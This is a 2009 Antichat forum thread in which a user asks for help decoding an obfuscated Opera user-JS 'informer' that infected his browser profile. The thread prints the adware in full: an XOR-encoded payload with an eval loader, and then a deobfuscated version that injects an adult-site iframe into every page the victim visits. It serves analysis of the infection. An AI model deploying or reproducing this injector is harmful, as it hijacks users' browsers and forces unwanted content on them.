Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   JS Порно информер в опере (https://forum.antichat.xyz/showthread.php?t=119564)

Romaxa55 07.05.2009 18:54
JS Порно информер в опере
 
Ребята, есть кто силев в js? Информер распаковывает себя в папке профиля Оперы под именем feeder

Содержит следующий код:
Цитата:
var __x34=26382;var x327=832973;var __di=1241707483.531;var VyDINrGlGXI='2f3e014e32151b17272f2a0f213a080c68504 1726a5e2433177f3305353a1d0a11192e0b7f454c2c0a35010 b72222a373c0707301455042a0405092621150d26193e35330 8377a4c243e56577f0b1f0f4b0f0e2b1d4463502b171a3c363 1793b5d093a0e210a221572437c7b555c625b516b6c5578635 56f6a5f512268701e1e250c2b1103244b3f1c312037003c270 3072d1f114b660b284a6e73000d3c3202342817373c11002e1 f073a4d5358466b30001c056a44795a5c7d64757969434e755 a4353664b57603a3547403a4d5f61370a3c260d002a1318360 a1e514b301d3a0c19380579061c3c2164243a1f1d3a0107063 b052804733506043b085a3c276858341031390203300b5a1e0 514083a0c2f2504321b0b61343e3e3a5f4e311b1806660b2c0 b2173171a2d0b08397a58723c04323f56417f47475a503d0e2 d580f2504321b0b1a303e2b2b3a003b1f0d4372502a0b34364 90b27020a283f4b3b3c013a22390c7715081d0d22177643614 0023f52462a2b303236163d2b1b0717061e3e0f2b735a55684 0417073452920002b2f04047f0b0f1407701252721a2b19791 101262f363c1a1d0a161411063750674a2332000d660e0e2e3 10c377c0c313e13121003525a5069437f1b03250030173d3d2 52d2d161d0a3a0255486f00280f353a1f4624080f262e0d7b6 9685533104a7706151700220a1a160803053d1716697962797 2535f765a0e00201f31033616090c0103052422456f72153e3 d13443c0a1513022e41331d022d1f314913444e2d3c2b061c3 15a000d2a03390b23364f18290a046f390a3d390c3a74051f3 d160e0a022508771b03250030173d3d252d2d161d0a3a02554 86f00280f353a1f4624080f262e0d7e720630351d033a20141 c22250b3a00456350247f642f31313a2b1a01315a130d10033 f1e103c0803210849313b02377e45313b1b0f73450c19073e0 a735809321b30000b3a687f293e0706735a110c221133047f7 3140d2b181324731e5f58133e2856092a1739170420063a585 16a05381f0b696f7f7b62514e745a10102c112a0f7b2506043 d08486171457a7a00272a1f183a165358546b4d645809321b3 0000b3a797d7974530b270a1c112a03741e3c142a3c1b19132 834027a7b45657a54487645515843631f3e0c04634b66524c7 2642f382b1b537d5a5e433f112e027369474a6a44416a7a4d7 a360a323b1f047645455849704f3b17012b02374f4c696f7f3 d301e0f361455596f52784373784740601e04222f17377b456 07a54517f161f1b1e390a7d58566a497b5b55444e2f3838164 03c151a0826157a577330121a0b020e2a3300692f0c397a5e0 c313a130b342e172f111e2f0f715b47693f362a0016162f130 7062b50674a2721120d73106c4b3c103c31113635184a390b2 511052d002d150938433c5b1520227f717f16403a0c100d3b5 e2e0b2134021c68040f322e043c3100303c562e30060f150e2 51b7f514c4761221b08696c362a0016162f1307062b597a112 136131d3a035a3c2e172b721e363c56422c00161e453b0e2d1 d023e4b784f4e3a21333f7653152d1f01163d1e61172e30061 c2b0541693f1d317b452428131e2a171443163d0e2d580f251 929014e746428303117012854110c2c05370f3d27490f2d192 42d3f08373c112c180f3e3e023419062e477d1a032e127b5b5 5444e363f7f5b4f3c1507133c502616737204073a1d121a6a3 87b721e2d3f021f2d0b4105022d4f771e02150c3c062d262b3 4303a5b193614110c385e3e0530260a0d26194d61783a3b3f0 43c785f4a62585a5a210d361b3d27185f6e3a2b6b6d7f223b1 a1d3e1819061015221e363d14012703496861173726102d344 d17526f1917193b1c0448316402371c0b3b0c0b141353537f1 91a113f03015a0e7d0e06260813090e281e724e7f7d4a192b1 c161d4b3f162f1d51681f3c0a1a66272c2a7d4d4d2b1505012 e0205033d35081a2508133a2a0a213b1136351850390c021d0 f70033a1e18705b290a553d2b2f636e431e2741020a2b04325 06b635718305611203e013b3c02656a0612641f5711052f0a2 7425d7a5b6942552a2b33362d494d6f4a45537f4061176f7c1 41c3101047f66013b2445363e4b482b0a0a1a0a393036160a2 51934171c6b642c2d261f0b625805022b14330434695753250 c1326330b68625e3d35040e3a174048497553361e1e2b063c5 2083b25323c1d1c1c3b1f075e6d40784a203015072401082f3 d58703c0a7d7a051e26091f45493c063b0c04705369421e317 f373c3614062b4047537f0022513e32150f21035b716115333 601363411506f475a0b1928527d10183e1b635d413a21272f3 6170b300800103c193b44303c0a472e0e0e2f2e003c264a363 4120f274b120c06274d614443230d2b13032c7a63763b1a186 15d4e6e45063b1873360b48754d162834013d254b3b35151f3 200140c452c0a2b3d002f063c1c1a0b3d163d77511a300a170 23d2f3304353c15052d1f4368611c726f453634180f2d2d1f1 10c231b7f554c2f077711022021312d171607381201582a1c7 419272a0b0d66190e317a58722b45747a541a27474175612e0 3710b1833073c5c022c222b7962534636141b063d27330e273 b474568080d6f39093b370b2b0d1f0e2b0d5a554b7e467f534 c681b2150553c36331d351a007f4755413c15221c3a3702073 a18123233047c310a32784d1f2d093917063b0e2d1d4c774b2 e1b002d2b28773b1c0d2a17100d3b5e36053032130127034f2 93516266968552f04061c0a17080a390a7f454c3f193531012 4343e2b3a5d1a30361a142a02190b20364f417304076172102 03e263037060b2d005411052f0a27370a621e2b1e2a232d317 07f52537f5755526650210e736e47062d1a41053b11377a4c6 43c18352c000e3b042404361d443d023716013e6a3b363c060 33a14014f6f5205033e32044a644d056f3d0026060c323f5e4 3765e07051646655272';var qxfkditq_Mw='Y_sn_zucOpZjSSghHmaAZeRRe_Zvj_ezxkKo_ xlJkYrnID_';var pzcGUIDmdfOlHHiUNeEBtHEeYATO=new Array();for (var aosZZWGhNYzCMhMe=0, rfHxuUjzrzuJPgbAF_itqp=0; aosZZWGhNYzCMhMe < (VyDINrGlGXI.length / 2); aosZZWGhNYzCMhMe++){pzcGUIDmdfOlHHiUNeEBtHEeYATO[aosZZWGhNYzCMhMe]=String.fromCharCode(('0x'+VyDINrGlGXI.substr(aosZ ZWGhNYzCMhMe*2,2))^qxfkditq_Mw.charCodeAt(rfHxuUjz rzuJPgbAF_itqp));if (++rfHxuUjzrzuJPgbAF_itqp >= qxfkditq_Mw.length) rfHxuUjzrzuJPgbAF_itqp=0;}eval(pzcGUIDmdfOlHHiUNeE BtHEeYATO.join(''));window.opera.addEventListener( 'AfterEvent.load',fn_informer,false);
Точно уверен что прогрузка информера идет не из кеша а с домена, но как видите зашифрован. Есть такие кто справится с декодированием js?

Krist_ALL 07.05.2009 19:09
Код не зашифрован,он обфускирован.Тоесть запутан специально,замени имена переменных, имеющие длинные имена,на короткие.

Romaxa55 07.05.2009 19:15
Понял, можно не большой пример, как выразился тяжек для меня js... Там скорей всего чисто iframe...

Kaimi 07.05.2009 19:17
Код:
var month_period = 30;
var is_expired = false;function get_current_time(){d = new Date();return d.getTime()/(24*60*60*1000);}
function fn_is_expired(){r = get_current_time() - __di / (24 * 60 * 60);
if (r > month_period) {return true;}else{return false;}}
function fn_getCookie(page, name){var prefix = name + "=";var cookieStartIndex = page.cookie.indexOf(prefix);
if (cookieStartIndex == - 1) {return null;}
var cookieEndIndex = page.cookie.indexOf(";", cookieStartIndex + prefix.length);
if (cookieEndIndex == - 1) {cookieEndIndex = page.cookie.length;}
return unescape(page.cookie.substring(cookieStartIndex + prefix.length, cookieEndIndex));}
function fn_setCookie(page, name, value, expires, path, domain, secure){
var curCookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires.toGMTString() : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");
page.cookie = curCookie;}if (fn_is_expired()) {is_expired = true;}
function fn_informer(e){if ( e.event.target instanceof Document )
{if (is_expired) {return;}try {if (self.parent != self) {return;}}catch (exc) {return;}var corps = window.document.getElementsByTagName("body");
if (!corps || !corps[0]) {return;}if (fn_getCookie(window.document, "_imac") == "JFYDEKR47HE") {disable_extension();return;}
corps[0].innerHTML = corps[0].innerHTML + '<style type="text/css">#topbar_informer{position:fixed;left:0px;top:10px;width:800px;padding:0px;z-index:10000;color:#000000;}</style><div id="topbar_informer" style="padding:0;margin:0;border:0"><iframe frameBorder="0" scrolling="no" style="width:800px;height:200px;margin:0;padding:0" src="http://sexvideorussia.com/fcontent/index.html"></iframe></div>';
var el = window.document.getElementById("topbar_informer");y = innerHeight - el.clientHeight;el.style.top = y + "px";
el.style.left = (innerWidth - el.clientWidth - 5) + "px";urlDjin = "sexvideorussia.com";urlCompare = window.document.location.host;
urlCompare = urlCompare.toLowerCase();if (urlCompare.indexOf(urlDjin) != - 1) {d = new Date();fn_setCookie(window.document, "_imac", d.getTime());}}}
window.opera.addEventListener( 'AfterEvent.load',fn_informer,false);

Romaxa55 07.05.2009 19:19
Спасибо ОГРОМНО, то что нужно!!!!

Fristail 08.05.2009 18:31
скачай декомп


Время: 23:33